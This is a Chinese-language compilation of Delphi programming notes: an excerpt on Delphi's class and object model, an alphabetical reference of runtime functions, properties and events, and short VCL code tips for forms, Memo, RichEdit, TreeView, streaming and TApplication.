可以将类想象为一种特殊的记录。与记录相似的是，一个类描述的是一种特殊的类型，它由任意多个部分组成，每一个部分称为一个字段。与结构不同的是，一个类可以包含函数和过程（称为方法method），以及属性property。一个类可以继承自另一个类，因此，它继承了祖先类中所有的字段，方法，以及属性。

一个对象(Object)是一个类的动态实例。对象总是从堆中动态分配得来，因此一个对象引用(object refrence)更象一个指针（但是不需要pascal的^操作符）。当你将一个对象引用赋值给一个变量时，Delphi只是复制了指针，而不是复制整个对象实例。程序中不再结束使用一个对象时，应当调用Free方法显式地释放该对象。Delphi没有提供自动的垃圾收集机制（后面一章中的提到的接口除外）。

为简短起见，术语“对象引用”简称为“对象”，但是对象更精确的表述应当是一块内存，Delphi在其中存放该对象的所有字段的值。在Delphi中使用一个对象的唯一方法就是使用对象引用。一个对象引用通常以一个变量的形式存在，但是也有函数或者属性返回值的形式。

类同样是一个独立的实体（与Java中的类似，但与C++中的不同）。在Delphi中，类表现为内存中一张只读的表，表中存放着指向该类的虚方法的指针以及其他许多信息。一个类引用(Class reference)就是指向该表的一个指针。类引用最常见的用法是创建一个对象或者用来测试一个对象引用的类型，也可以在其它许多场合使用。比如，传递类引用给某个例程或者从一个函数中返回一个类引用。类引用的类型称为元类(metaclass)。

例2-1显示了几个类的声明。类的声明以关键字Class开头。类的声明中包含字段(field)，方法(method)，属性(property)等部分，以关键字End结尾。每一个方法的声明类似于forword前导声明，你必须在同一单元中实现它（抽象abstract方法除外，有关抽象方法的内容将在后面提到）。

type
  TAccount = class
  private
    fCustomer: string;  // name of customer
    fNumber: Cardinal;  // account number
    fBalance: Currency; // current account balance
  end;
  TSavingsAccount = class(TAccount)
  private
    fInterestRate: Integer; // annual percentage rate, scaled by 1000
  end;
  TCheckingAccount = class(TAccount)
  private
    fReturnChecks: Boolean;
  end;
  TCertificateOfDeposit = class(TSavingsAccount)
  private
    fTerm: Cardinal;  // CD maturation term, in days
  end;

var
  CD1, CD2: TAccount;
begin
  CD1 := TCertificateOfDeposit.Create;
  CD2 := TCertificateOfDeposit.Create;
  ...

图2-1描述了例2-1中的对象和类在内存中的存放结构。变量以及相关对象存放于可读写的内存中。类存放在只读的内存中，与程序码放在一起。

Figure 2.1

Delphi的对象模型与其他几个面向对象语言的类似，比如C++和Java。表2-1显示了Delphi与其他几种流行的编程语言的简要对比。

Table 2-1: Delphi Versus the World
语言特性 | Delphi | Java | C++ | Visual Basic
继承 | ∨ | ∨ | ∨ |
多重继承 |  |  | ∨ |
接口 | ∨ | ∨ | [1] | ∨
单根类 | ∨ | ∨ |  |
元类 | ∨ | ∨ |  |
类（静态）字段 |  | ∨ | ∨ |
虚方法 | ∨ | ∨ | ∨ |
抽象（纯）虚方法 | ∨ | ∨ | ∨ |
类（静态）方法 | ∨ | ∨ | ∨ |
动态方法 | ∨ |  |  |
垃圾回收 | [2] | ∨ |  | [2]
可变类型 | ∨ |  |  | ∨
OLE自动化 | ∨ |  |  | ∨
静态类型校验 | ∨ | ∨ | ∨ |
异常处理 | ∨ | ∨ | ∨ | ∨
函数（过程）重载 | ∨ | ∨ | ∨ |
操作符重载 |  |  | ∨ |
非类函数 | ∨ |  | ∨ | ∨
非对象变量 | ∨ |  | ∨ | ∨
属性 | ∨ |  |  | ∨
RTTI（运行期类型信息） | ∨ | ∨ | [3] |
Generic类型（模板） |  |  | ∨ |
嵌入式线程支持 | ∨ | ∨ |  |
消息传递 | ∨ |  |  |
嵌入式汇编 | ∨ |  | [4] |
单行函数 |  |  | ∨ |

我们将在以下几节中详细讨论这些语言特性。

类(Class)

类的声明描述了该类所包含的字段(Field)，方法(Method)，以及属性(Property)等信息。你可以在单元的interface或者implementation部分声明一个类，但是方法(method)——与函数或过程类似——必须得在implementation部分定义。同时，你必须在该类声明的同一单元内实现该方法。

类可以声明分为一个或多个部分，允许每一部分有不同的访问级别（可以是私有的private，受保护的protected，公开的public，发布的published以及自动的automated等）。有关访问级别的内容将在后面谈及。你甚至可以将各个声明部分任意排列，并且，允许相同的访问级别重复出现。

在声明的每一部分中，你可以定义任意多的字段，跟在方法和属性的声明后面。方法和属性的声明可以混在一起，但是在同一部分中所有字段必须声明在方法之前。与Java和C++不同，Delphi中不能在类声明中嵌套其他任何类型的声明。

类只有单一的基类，类从基类中继承所有字段，属性和方法。假如你不明确指明基类，Delphi自动使用TObject作为基类。类可以实现任意多的接口。因而Delphi的对象模型与Java的极为类似，即一个类可以对一个简单的类进行扩展并且实现多重接口。

提示：
在Delphi中有个约定，类型名称通常以字母T打头，如TObject。不过这只是一个约定而不是语法规则。并且，IDE也通常以一个T开头来命名一个类。

类引用是对一个特定的类的一种引用。类引用并不是一个类对象（在Jave和SmallTalk中如此），但它可以用来创建新的对象，调用类方法，以及测试或试验对象的类型。类引用以指针的方式实现，这个指针指向有关该类信息的一张表，包括类的虚拟方法表(VMT)。（参见第三章“VMT中到底有些什么”相关内容。）

类引用最通常的用法是调用该类的构造器constructor来创建一个对象实例。也可以使用类引用来检测对象的类型（使用Is操作符）。通常情况下，类引用是一个类名，但也可以是一个元类(metaclass)类型的变量，或者函数和属性的返回值。

例2-2：声明一个类以及元类

type
  TComplexClass = class of TComplex; //元类类型
  TComplex = class(TPersistent)
  private
    fReal, fImaginary: Double;
  public
    constructor Create(Re: Double = 0.0); overload;
    constructor Create(Re, Im: Double); overload;
    destructor Destroy; override;
    procedure Assign(Source: TPersistent); override;
    function AsString: string;
  published
    property Real: Double read fReal write fReal;
    property
  end;


如何在OnCreate和OnShow里关闭窗体

通常你在OnCreate或Onshow里关闭窗体
会出保护性错误，这里用发消息的方法

begin
messagedlg('将要关闭', mtInformation, [mbOK], 0);
PostMessage(self.handle, WM_CLOSE, 0, 0);
Screen.Cursor := crDefault;
end


Delphi部分函数、命令、属性中文说明

Abort 函数 引起放弃的意外处理
Abs 函数 绝对值函数
AddExitProc 函数 将一过程添加到运行时库的结束过程表中
Addr 函数 返回指定对象的地址
AdjustLineBreaks 函数 将给定字符串的行分隔符调整为CR/LF序列
Align 属性 使控件位于窗口某部分
Alignment 属性 控件标签的文字位置
AllocMem 函数 在堆栈上分配给定大小的块
AllowGrayed 属性 允许一个灰度选择
AnsiCompareStr 函数 比较字符串（区分大小写）
AnsiCompareText 函数 比较字符串（不区分大小写）
AnsiLowerCase 函数 将字符转换为小写
AnsiUpperCase 函数 将字符转换为大写
Append 函数 以附加的方式打开已有的文件
ArcTan 函数 余切函数
AssignFile 函数 给文件变量赋一外部文件名
Assigned 函数 测试函数或过程变量是否为空
AutoSize 属性 自动控制标签的大小

BackgroundColor 属性 背景色
BeginThread 函数 以适当的方式建立用于内存管理的线程
BevelInner 属性 控件方框的内框方式
BevelOuter 属性 控件方框的外框方式
BevelWidth 属性 控件方框的外框宽度
BlockRead 函数 读一个或多个记录到变量中
BlockWrite 函数 从变量中写一个或多个记录
BorderStyle 属性 边界类型
BorderWidth 属性 边界宽度
Break 命令 终止for、while、repeat循环语句
Brush 属性 画刷

Caption 属性 标签文字的内容
ChangeFileExt 函数 改变文件的后缀
ChDir 函数 改变当前目录
Checked 属性 确定复选框选中状态
Chr 函数 返回指定序数的字符
CloseFile 命令 关闭打开的文件
Color 属性 标签的颜色
Columns 属性 显示的列数
CompareStr 函数 比较字符串（区分大小写）
Concat 函数 合并字符串
Continue 命令 继续for、while、repeat的下一个循环
Copy 函数 返回一字符串的子串
Cos 函数 余弦函数
Ctl3D 属性 是否具有3D效果
Cursor 属性 鼠标指针移入后的形状

Date 函数 返回当前的日期
DateTimeToFileDate 函数 将DELPHI的日期格式转换为DOS的日期格式
DateTimeToStr 函数 将日期时间格式转换为字符串
DateTimeToString 函数 将日期时间格式转换为字符串
DateToStr 函数 将日期格式转换为字符串
DayOfWeek 函数 返回星期的数值
Dec 函数 递减变量值
DecodeDate 函数 将日期格式分解为年月日
DecodeTime 函数 将时间格式分解为时、分、秒、毫秒
Delete 函数 从字符串中删除子串
DeleteFile 命令 删除文件
DiskFree 函数 返回剩余磁盘空间的大小
DiskSize 函数 返回指定磁盘的容量
Dispose 函数 释放动态变量所占的空间
DisposeStr 函数 释放字符串在堆栈中的内存空间
DitherBackground 属性 使背景色的色彩加重或减少50%
DragCursor 属性 当鼠标按下时光标的形状
DragMode 属性 按动的作用方式
DropDownCount 属性 容许的显示数据项的数目
EditMask 属性 编辑模式
Enabled 属性 是否使标签呈现打开状态
EncodeDate 函数 将年月日合成为日期格式
EncodeTime 函数 将时、分、秒、毫秒合成为时间格式
EndMargin 属性 末尾边缘
Eof 函数 对有类型或无类型文件测试是否到文件尾
Eoln 函数 返回文本文件的行结束状态
Erase 命令 删除外部文件
ExceptAddr 函数 返回引起当前意外的地址
Exclude 函数 从集合中删除一些元素
ExceptObject 函数 返回当前意外的索引
Exit 命令 立即从当前的语句块中退出
Exp 函数 指数函数
ExpandFileName 函数 返回包含绝对路径的字符串
ExtendedSelect 属性 是否允许存在选择模式，True时，MultiSelect才有意义
ExtractFileDir 函数 返回驱动器和路径
ExtractFileExt 函数 返回文件的后缀
ExtractFileName 函数 返回文件名
ExtractFilePath 函数 返回指定文件的路径

FileAge 函数 返回文件已存在的时间
FileClose 命令 关闭指定的文件
FileCreate 命令 用指定的文件名建立新文件
FileDateToDateTime 函数 将DOS的日期格式转换为DELPHI的日期格式
FileExists 函数 检查文件是否存在
FileGatAttr 函数 返回文件的属性
FileGetDate 函数 返回文件的DOS日期时间标记
FileOpen 命令 用指定的存取模式打开指定的文件
FilePos 函数 返回文件的当前指针位置
FileRead 命令 从指定的文件读取
FileSearch 命令 在目录中搜索指定的文件
FileSeek 函数 改变文件的指针
FileSetAttr 函数 设置文件属性
FileSetDate 函数 设置文件的DOS日期时间标记
FileSize 函数 返回当前文件的大小
FileWrite 函数 对指定的文件做写操作
FillChar 函数 用指定的值填充连续字节的数
FindClose 命令 终止FindFirst/FindNext序列
FindFirst 命令 对指定的文件名及属性搜索目录
FindNext 命令 返回与文件名及属性匹配的下一入口
FloatToDecimal 函数 将浮点数转换为十进制数
FloatToStrF 函数 将浮点数转换为字符串
FloatToStr 函数 将浮点数转换为字符串
FloatToText 函数 将给定的浮点数转换为十进制数
FloatToTextFmt 函数 将给定的浮点数转换为十进制数
Flush 函数 将缓冲区的内容刷新到输出的文本文件中
FmtLoadStr 函数 从程序的资源字符串表中装载字符串
FmtStr 函数 格式化一系列的参数，其结果以参数Result返回
Font 属性 设置字体
Format 函数 格式化一系列的参数并返回Pascal字符串
FormatBuf 函数 格式化一系列的参数
FormatDateTime 函数 用指定的格式来格式化日期和时间
FormatFloat 函数 指定浮点数格式
Frac 函数 返回参数的小数部分
FreeMem 函数 按给定大小释放动态变量所占的空间

GetDir 返回指定驱动器的当前目录
GetHeapStatus 返回内存管理器的当前状态
GetMem 建立一指定大小的动态变量，并将指针指向该处
GetMemoryManager 返回内存管理器的入口点
Glyph 函数 按钮上的图象

Halt 停止程序的执行并返回到操作系统
Hi 返回参数的高地址位
High 返回参数的上限值
Hint 属性 提示信息

Int 返回参数的整数部分
Include 添加元素到集合中
Insert 在字符串中插入子串
IntToHex 将整型数转换为十六进制数
IntToStr 将整型数转换为字符串
IOResult 返回最新的I/O操作完成状态
IsValidIdent 测试字符串是否为有效的标识符
Items 属性 默认显示的节点

Kind 属性 摆放样式

LargeChange 属性 最大改变值
Layout 属性 图象布局
Length 函数 返回字符串的动态长度
Lines 属性 缺省显示内容
Ln 函数 自然对数函数
Lo 函数 返回参数的低地址位
LoadStr 函数 从应用程序的可执行文件中装载字符资源
LowerCase 函数 将给定的字符串变为小写
Low 函数 返回参数的下限值

Max 属性 最大值
MaxLength 属性 最大长度
Min 属性 最小值
MkDir 命令 建立一子目录
Move 函数 从源到目标复制字节
MultiSelect 属性 允许同时选择几个数据项

Name 属性 控件的名字
New 函数 建立新的动态变量并设置一指针变量指向他
NewStr 函数 在堆栈上分配新的字符串
Now 函数 返回当前的日期和时间

Odd 测试参数是否为奇数
OnActivate 事件 焦点移到窗体上时触发
OnClick 事件 单击窗体空白区域触发
OnDblClick 事件 双击窗体空白区域触发
OnCloseQuery 事件 使用者试图关闭窗体触发
OnClose 事件 窗体关闭后才触发
OnCreate 事件 窗体第一次创建时触发
OnDeactivate 事件 用户切换到另一应用程序触发
OnDragDrop 事件 鼠标拖放操作结束时触发
OnDragOver 事件 有其他控件从他上面移过触发
OnMouseDown 事件 按下鼠标键时触发
OnMouseUp 事件 释放鼠标键时触发
OnMouseMove 事件 移动鼠标时触发
OnHide 事件 隐藏窗体时触发
OnKeyDown 事件 按下键盘某键时触发
OnKeyPress 事件 按下键盘上的单个字符键时触发
OnKeyUp 事件 释放键盘上的某键时触发
OnPaint 事件 窗体上有新部分暴露出来触发
OnResize 事件 重新调整窗体大小触发
OnShow 事件 在窗体实际显示之前瞬间触发
Ord 返回序数类的序数
OutlineStyle 属性 类型
OutOfMemoryError 引起OutOfMemory意外
PageIndex 属性 页索引
Pages 属性 页
ParamCount 函数 返回在命令行上传递给程序的参数数量
ParamStr 函数 返回指定的命令行参数
Pen 属性 画刷设置
Pi 函数 返回圆周率Pi
Picture 属性 显示图象
PictureClosed 属性 设置Closed位图
PictureLeaf 属性 设置Leaf位图
PictureMinus 属性 设置Minus位图
PictureOpen 属性 设置Open位图
PicturePlus 属性 设置Plus位图
Pos 函数 在字符串中搜索子串
Pred 函数 返回先前的参数

Random 函数 返回一随机函数
Randomize 函数 用一随机数初始化内置的随机数生成器
Read 函数 对有格式的文件，读一文件组件到变量中；
对文本文件，读一个或多个值到一个或多个变量中
Readln 函数 执行Read过程，然后跳到文件下一行
ReadOnly 属性 只读属性
ReAllocMem 函数 分配一动态变量
Rename 函数 重命名外部文件
RenameFile 函数 对文件重命名
Reset 函数 打开已有的文件
Rewrite 函数 建立并打开一新的文件
RmDir 函数 删除空的子目录
Round 函数 将实数值舍入为整型值
RunError 函数 停止程序的执行

ScrollBars 属性 滚动条状态
Seek 函数 将文件的当前指针移动到指定的组件上
SeekEof 函数 返回文件的文件结束状态
SeekEoln 函数 返回文件的行结束状态
SelectedColor 属性 选中颜色
SetMemoryManager 函数 设置内存管理器的入口点
SetTextBuf 函数 给文本文件指定I/O缓冲区
Shape 属性 显示的形状
ShowException 函数 显示意外消息与地址
Sin 函数 正弦函数
SizeOf 函数 返回参数所占的字节数
SmallChange 属性 最小改变值
Sorted 属性 是否允许排序
Sqr 函数 平方函数
Sqrt 函数 平方根函数
StartMargin 属性 开始边缘
State 属性 控件当前状态
Str 函数 将数值转换为字符串
StrAlloc 函数 给以NULL结束的字符串分配最大长度-1的缓冲区
StrBufSize 函数 返回存储在由StrAlloc分配的字符缓冲区的最大字符数
StrCat 函数 将一字符串附加到另一字符串尾并返回合并的字符串
StrComp 函数 比较两个字符串
StrCopy 函数 将一个字符串复制到另一个字符串中
StrDispose 函数 释放堆栈上的字符串
StrECopy 函数 将一字符串复制到另一个字符串并返回结果字符串尾部的指针
StrEnd 函数 返回指向字符串尾部的指针
Stretch 属性 自动适应控件的大小
StrFmt 函数 格式化一系列的参数
StrIComp 函数 比较两个字符串（不区分大小写）
StringToWideChar 函数 将ANSI字符串转换为UNICODE字符串
StrLCat 函数 将一字符串中的字符附加到另一字符串尾并返回合并的字符串
StrLComp 函数 以最大长度比较两个字符串
StrLCopy 函数 将一个字符串中的字符复制到另一个字符串中
StrLen 函数 返回字符串中的字符数
StrLFmt 函数 格式化一系列的参数，其结果中包含有指向目标缓冲区的指针
StrLIComp 函数 以最大长度比较两个字符串（不区分大小写）
StrLower 函数 将字符串中的字符转换为小写
StrMove 函数 将一个字符串中的字符复制到另一个字符串中
StrNew 函数 在堆栈上分配一个字符串
StrPas 函数 将以NULL结束的字符串转换为PASCAL类的字符串
StrPCopy 函数 将PASCAL类的字符串复制为以NULL结束的字符串
StrPLCopy 函数 从PASCAL类的最大长度字符串复制为以NULL结束的字符串
StrPos 函数 返回一个字符串在另一个字符串中首次出现指针
StrRScan 函数 返回字符串中最后出现字符的指针
StrScan 函数 返回字符串中出现首字符的指针
StrToDate 函数 将字符串转换为日期格式
StrToDateTime 函数 将字符串转换为日期/时间格式
StrToFloat 函数 将给定的字符串转换为浮点数
StrToInt 函数 将字符串转换为整型
StrToIntDef 函数 将字符串转换为整型或默认值
StrToTime 函数 将字符串转换为时间格式
StrUpper 函数 将字符串中的字符转换为大写
Style 属性 类型选择
Suce 函数 返回后继的参数
Swap 函数 交换参数的高低地址位

Tabs 属性 标记每一项的内容
TabIndex 属性 标记索引
Text 属性 显示的文本
TextToFloat 函数 将字符串（以NULL结束的格式）转换为浮点数
Time 函数 返回当前的时间
TimeToStr 函数 将时间格式转换为字符串
Trim 函数 从给定的字符串中删除前导和尾部的空格及控制字符
TrimLeft 函数 从给定的字符串中删除首部的空格及控制字符
TrimRight 函数 从给定的字符串中删除尾部的空格及控制字符
Trunc 函数 将实型值截取为整型值
Truncate 函数 截去当前文件位置后的内容

UnSelectedColor 属性 未选中颜色
UpCase 将字符转换为大写
UpperCase 将给定的字符串变为大写

Val 函数 将字符串转换为整型值
VarArrayCreate 函数 以给定的界限和维数建立变体数组
VarArrayDimCount 函数 返回给定变体的维数
VarArrayHighBound 函数 返回给定变体数组维数的上界
VarArrayLock 函数 锁定给定的变体数组
VarArrayLowBound 函数 返回给定变体数组维数的下界
VarArrayOf 函数 返回指定变体的数组元素
VarArrayRedim 函数 通过改变上限来调整变体的大小
VarArrayUnlock 函数 解锁指定的变体数组
VarAsType 函数 将变体转换为指定的类型
VarCase 函数 将变体转换为指定的类型并保存他
VarClear 函数 清除指定的变体
VarCopy 函数 将指定的变体复制为指定的变体
VarFormDateTime 函数 返回包含日期时间的变体
VarIsArray 函数 测试变体是否为数组
VarIsEmpty 函数 测试变体是否为UNASSIGNED
VarIsNull 函数 测试变体是否为NULL
VarToDateTime 函数 将给定的变体转换为日期时间
VarType 函数 将变体转换为指定的类型并保存他
Visible 属性 控件的可见性

WantReturns 属性 为True时，按回车键产生一个回车符；为False时，按下Ctrl+Enter才产生回车符
Write 命令 对有格式的文件，写一变量到文件组件中；对文本文件，写一个或多个值到文件中
Writeln 命令 执行WRITE过程，然后输出一行结束标志
WideCharLenToString 函数 将ANSI字符串转换为UNICODE字符串
WideCharLenToStrWar 函数 将UNICODE字符串转换为ANSI字符串变量
WideCharToString 函数 将UNICODE字符串转换为ANSI字符串
WideCharToStrVar 函数 将UNICODE字符串转换为ANSI字符串变量


RichEdit的内容转换为图象

下面示例可以将RichEdit的内容输出到一个Image中，只要你将
Image设为足够大，即可得到RichEdit中的所有内容，然后再
Image1.Picture.SaveToFile输出到一个BMP文件即可：

uses RichEdit;

procedure TForm1.Button1Click(Sender: TObject);
var
Range: TFormatRange;
LastChar, MaxLen, LogX, LogY: Integer;
begin
FillChar(Range, SizeOf(TFormatRange), 0);
with Image1, Range do
begin
LogX := GetDeviceCaps(Canvas.Handle, LOGPIXELSX);
LogY := GetDeviceCaps(Canvas.Handle, LOGPIXELSY);
hdc := Canvas.Handle;
hdcTarget := hdc;
rc.right := Image1.ClientWidth * 1440 div LogX;
rc.bottom := Image1.ClientHeight * 1440 div LogY;
rcPage := rc;
LastChar := 0;
MaxLen := GetTextLen;
chrg.cpMax := -1;
repeat
chrg.cpMin := LastChar;
LastChar := SendMessage(RichEdit1.Handle, EM_FORMATRANGE, 1,
Longint(@Range));
until (LastChar >= MaxLen) or (LastChar = -1);
end;
SendMessage(RichEdit1.Handle, EM_FORMATRANGE, 0, 0);
Image1.Refresh;
end;


获得方法指针调用方法

用MethodAddress方法我们可以获得方法指针，利用取得的方法指针可以调用相应的方法，可以利用这种方法实现利用字符串调用相应的方法。

unit CallerU;

interface

uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Button3: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
published
procedure MyRoutine(const Msg: string);
end;

TCustomProc = procedure (const Msg: string) of object;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.MyRoutine(const Msg: string);
begin
MessageDlg(Msg, mtInformation, [mbOk], 0)
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage('A button was pushed... or was it?')
end;

procedure TForm1.Button2Click(Sender: TObject);
var
Proc: TNotifyEvent;
begin
@Proc := MethodAddress('Button1Click');
if Assigned(Proc) then
Proc(nil);
end;

procedure TForm1.Button3Click(Sender: TObject);
var
Proc: TCustomProc;
begin
@Proc := Self.MethodAddress('MyRoutine');
if Assigned(Proc) then
Proc('Hello world');
end;

end.


在运行时改变控件的Owner

 You can change a component's ownership after creation via the
InsertComponent() and RemoveComponent() methods available to all
components. The Delphi help file contains examples for using these
methods.


限制Memo的行数和行宽

unit Unit1;

interface

uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
StdCtrls, ExtCtrls, Forms;

type
TForm1 = class(TForm)
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
procedure Memo1KeyPress(Sender: TObject; var Key: Char);
public
MaxCharsPerLine, MaxLines: Integer;
function MemoLine: Integer;
function LineLen(r: Integer): Integer;
function NRows: Integer;
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

function TForm1.NRows: Integer;
begin
with Memo1 do
Result := 1 + SendMessage(Handle, EM_LINEFROMCHAR, GetTextLen-1, 0);
end;

function TForm1.LineLen(r: Integer): Integer;
var r1, r2:
Integer;
begin
with Memo1 do begin
r1 :=
SendMessage(Handle, EM_LINEINDEX, r, 0);
if (r <
NRows-1) then
r2 := SendMessage(Handle,
EM_LINEINDEX, r+1, 0)-2 {-CR/LF}
else
r2 := GetTextLen;
end;
Result := r2-r1;
end;

function TForm1.MemoLine: Integer;
begin
with Memo1 do
Result := SendMessage(Handle, EM_LINEFROMCHAR, SelStart, 0);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
MaxCharsPerLine := 8;
MaxLines := 4;
end;

procedure TForm1.Memo1KeyPress(Sender: TObject; var Key: Char);
begin
with Memo1 do begin
case Key of
' '..#255: if (LineLen(MemoLine) >= MaxCharsPerLine) then
Key := #0;
#10, #13: if (NRows >= MaxLines) then
Key := #0;
#8: if (SelStart = SendMessage(Handle, EM_LINEINDEX, MemoLine, 0)) then
Key := #0;
end;
end;
end;

end.


获得列表视图下项目高度

 ListView_GetItemRect(ListView1.Handle,0,Rect,LVIR_BOUNDS);
ItemHeight:=Rect.Bottom-Rect.Top;


获得树视图下项目高度

 var r: TRect;
h: integer;
begin
r := TTreeview1.Selected.DisplayRect(False);
h := r.Bottom - r.Top;


在树视图中搜索

 procedure SelectNode(const Tx: string; Tree: TTreeView);
var
node : TTreeNode;
begin
if Tx = '' then exit;
node := Tree.GetFirst; {get the top node / items[0]}
while (node <> nil) do begin
if CompareText(Tx, node.Text) = 0 then begin
Tree.Selected := node;
node.MakeVisible;
break;
end else node := node.GetNext; {get the next node}
end;
end;


在RichEdit中搜索

 procedure TFileViewForm.ViewFindDialogFind(Sender: TObject);
var
FoundAt: integer;
SearchType: TSearchTypes;
begin
with FileViewRE do
begin
if frWholeWord in ViewFindDialog.Options then
SearchType:=[stWholeWord]
else
SearchType:=[];
if SelLength > 0 then
SearchStart:=SelStart + 1
else
SearchStart:=SelStart;
Screen.Cursor:=crHourGlass;
Application.ProcessMessages;
FoundAt:=FindText(ViewFindDialog.FindText, SearchStart, Length(Text),
SearchType);
Screen.Cursor:=crDefault;
Application.ProcessMessages;
if FoundAt < 1 then
MessageDlg('Error! Unable to find "'+ ViewFindDialog.FindText +
'"', mtError, [mbOK], 0)
else
begin
SetFocus;
SelStart:=FoundAt;
SelLength:=Length(ViewFindDialog.FindText);
end;
end;
end;


保存控件

 写入
var
Str1 : TFileStream;
begin
begin
Str1 := TFileStream.Create (SomeFileName,
fmOpenWrite or fmCreate);
try
Str1.WriteComponentRes ( OutputForm.ClassName, OutputForm);//save the entire component
finally
Str1.Free;
end;
end;
end;

读取
var
Str1: TFileStream;
TempForm1: TOutputForm;
begin
Str1 := TFileStream.Create (SomeFileName,
fmOpenRead); //open a stream
try
TempForm1 := TOutputForm.Create (Application); //temp object Str1.ReadComponentRes (TempForm1); OutputForm.Free; //destroy the existing component
OutputForm := TempForm1;
OutputForm.Show;
finally
Str1.Free;
end;
end;
end;


获得类型信息

 {Here is an example of how to access a components published property
using the published properties name}

function GetSuggestion(AComponent: TComponent;
var Caption : string): boolean;
var
PropInfo : PPropInfo;
begin
Result := false ;
Caption := '' ;
PropInfo := GetPropInfo(AComponent.ClassInfo, 'Caption');
If ( PropInfo = NIL ) or
not ( PropInfo.PropType^.Kind in
[ tkString, tkLString, tkWString ] ) then
exit ;
Caption := GetStrProp( AComponent, PropInfo ) ;
Result := true ;
end;


TApplication类的使用

---- 1 检测当前Windows程序是否被激活：

---- Tapplication类有一个属性——Active，这个属性就可以描述当前运行的程
序是否被激活，成为Windows的焦点。检测的代码如下：

If Application.Active=False then
ShowMessage（’当前窗口没有被激活’）；

---- 2 取得当前程序的名称：

---- Tapplication类的EXEName属性可以返回这个可执行程序的完整文件名（包
含路径）。实现的代码如下所示：

---- ShowMessage(Application.ExeName);

---- 3 改变程序极小化时的标题

---- 如果您细心观察可以发现，一些程序的标题和程序的名称并不一致，尤其是
一些英文程序，窗体的标题栏比较长，可以容纳比较多的文字，而在最小化时，
往往变成了很少的几个字母。这中间起作用的就是Tapplication类的Title属性。
这个属性决定了程序最小化时的标题，而窗口中标题栏的标题是由Form的Captio
n属性来决定的。其代码如下：

Form1.Caption:=’ 窗口的标题’;
Application.Title:=’程序的标题’;

---- 其实我们也可以在在程序设计时指定Tapplication类的Title属性值。操作
的方法是在开发环境中拉下Project菜单,选择Options菜单时弹出如图1 (略)的对
话框。在这个对话框中的Title栏中填写程序的标题一样也可以达到这种效果。并
且因为一般的工程文件都是以英文命名的，所以程序运行过程中弹出的消息框中
的标题是英文。但在指定了这个属性之后，这个程序的所有消息窗口的标题都变
为Title的值。这就使得程序看起来更加完整。

---- 4 指明程序的主窗口

---- Windows系统中的界面都是窗口，但一般来讲有一个主窗口。Tapplication
的MainForm属性就可以返回程序的主窗口。

---- 5 显示消息框

---- Delphi有许多显示消息框的函数与过程，比较常用的是ShowMessage，它用
起来虽然十分方便，但是却有一个问题，那就是这个消息框的按钮是以英文显示
的。如果要生成一个含有中文显示的按钮就要求助于Tapplication的MessageBox
函数了。这个函数的原形如下：

---- function MessageBox(Text, Caption: Char; Flags: Longint): Integer
;

---- 在这个函数中，前两项分别是显示的提示信息和消息窗口的标题，Flags是
一个长整值，用来指定按钮的个数及功能。熟悉Delphi的用户可能会注意到，这
个函数和Delphi 3所提供的同名函数有一点不同，那不是这个版本中字符串参数
都以字符的形式给出，而不再要求将其转化成指针。我们在使用时要注意加以区
别。

---- Application.MessageBox('需要存盘吗？','提示信息',MB_OKCANCEL)； 这
个语句在运行时显示的样式如图2 (略) 所示。

---- 最后就这个函数的返回值作一些说明，实际上这个函数返回的是一个整型的
数值，而这个数值被系统指定了具体的含义，比如：按下“确定”按钮时返回的
值是“1”，而其它按钮的值列在表 1 中。

---- 表 1 按钮的意义及系统中对其定义的值

按钮的意义 按下此按钮时函数返回的值
IDABORT 3
IDCANCEL 2
IDIGNORE 5
IDNO 7
IDOK 1
IDRETRY 4
IDYES 6

---- 6 控制窗口的尺寸

---- 一般可以用窗口手柄来调整窗口的尺寸，但是也可以用Application的事件
来调整。实现的方法是用以下两个过程：

Application.Minimized;
Application.Restore;

---- 前一个过程用来将程序的主窗口最小化，而后一个过程用来将最小化的窗口
恢复到原来的尺寸。

---- 7 链接联机帮助文件

---- Application的CurrentHelpFile属性能够指定当前程序所用的联机帮助文件
的文件名。这个属性经常与另一个方法联合在一起使用。举例如下：

Application.HelpFile := '联机帮助文件名';
Application.HelpJump('联机帮助文件的主题’)

---- 通过这一命令组合，我们就能使系统弹出一个显示某主题的联机帮助文件。

---- 8 在程序运行时动态地创建窗口

---- 一般情况下，窗口是在设计时加入到工程项目中的，但是有时也需要我们在
程序运行时动态地加入窗口，这就要用到Application 的CreateForm过程，举例
如下：

Form3:Tform3; //声明窗口类
Application.CreateForm(TForm3, Form3); //创建窗口

---- 9 结束程序

---- 虽然我们可以用关闭主窗口的方法来关闭一个程序，但是更好的办法是用A
pplication的Terminate过程。它能够起到更彻底地关闭程序的效果。

---- 10 Destroy 属性.

---- 虽然Delphi提供了这一属性,但是并不提倡使用它,如果要终结程序就要调用
Terminate过程，而Destroy过程一般是用来在程序发生悬挂时来退出程序时才调
用，有些类似Windows中的结束任务功能。它不仅能关闭程序实例本身，而且还能
释放程序所占用的资源，能够达到将程序彻底清除出系统的目的。


限制编辑框的输入防止滚动

procedure TForm1.FormCreate(Sender: TObject);
var
cRect :
TRect;
bm : TBitmap;
s : string;
begin
Windows.GetClientRect(Edit1.Handle, cRect);
bm :=
TBitmap.Create;
bm.Width := cRect.Right;
bm.Height :=
cRect.Bottom;
bm.Canvas.Font := Edit1.Font;
s :=
'W';
while bm.Canvas.TextWidth(s) < CRect.Right
do
s := s + 'W';
if length(s) > 1 then
begin
Delete(s, 1, 1);
Edit1.MaxLength := Length(s);
end;
end;

{Alternatively}

procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
var
cRect : TRect;
bm : TBitmap;
begin
if ((Ord(Key) <> VK_TAB) and
(Ord(Key) <> VK_RETURN) and
(Ord(Key) <> VK_LEFT) and
(Ord(Key) <> VK_BACK)) then begin
Windows.GetClientRect(Edit1.Handle, cRect);
bm := TBitmap.Create;
bm.Width := cRect.Right;
